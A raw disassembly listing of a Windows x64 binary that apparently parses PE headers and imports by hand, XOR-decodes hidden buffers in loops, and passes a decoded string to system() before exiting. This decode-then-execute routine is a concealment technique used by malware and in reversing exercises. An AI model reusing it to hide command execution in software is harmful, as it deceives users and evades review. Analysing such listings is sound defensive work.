lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp - 0x79]
call fcn.140001370
lea rdx, [0x140007698]
lea rcx, [rbp - 0x79]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp - 0x79]
call fcn.140001370
lea rdx, [0x140007698]
lea rcx, [rbp - 0x79]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp - 0x79]
call fcn.140001370
lea rdx, [0x140007698]
lea rcx, [rbp - 0x79]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp - 0x79]
call fcn.140001370
lea rdx, [0x140007698]
lea rcx, [rbp - 0x79]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp - 0x79]
call fcn.140001370
lea rdx, [0x140007698]
lea rcx, [rbp - 0x79]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp - 0x79]
call fcn.140001370
lea rdx, [0x140007698]
lea rcx, [rbp - 0x79]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp - 0x79]
call fcn.140001370
lea rdx, [0x140007698]
lea rcx, [rbp - 0x79]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x6f]
call fcn.140001370
lea rdx, [0x140007698]
lea rcx, [rbp + 0x6f]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x6f]
call fcn.140001370
lea rdx, [0x140007698]
lea rcx, [rbp + 0x6f]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x6f]
call fcn.140001370
lea rdx, [0x140007698]
lea rcx, [rbp + 0x6f]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, [rbp - 0x59]
call fcn.140003cb0
mov r9, rax
cmp byte [rax + 0x1f], bl
je 0x140003c2e
cmp edi, 2
jl 0x140003bf7
movdqa xmm5, xmmword [0x140006bb0]
movdqa xmm4, xmmword [0x140006bf0]
movd xmm6, esi
movdqa xmm7, xmmword [str.9999]
movd xmm8, r14d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp - 0x69], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x69]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x20
jl 0x140003af0
jmp 0x140003c2e
mov r8, r9
nop word [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, bl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x20
jl 0x140003c00
mov rcx, r9
call fcn.140001130
lea rdx, [rbp + 0x67]
call fcn.140003cd0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140003c60
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor cl, 0x37
mov byte [rax + 5], cl
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3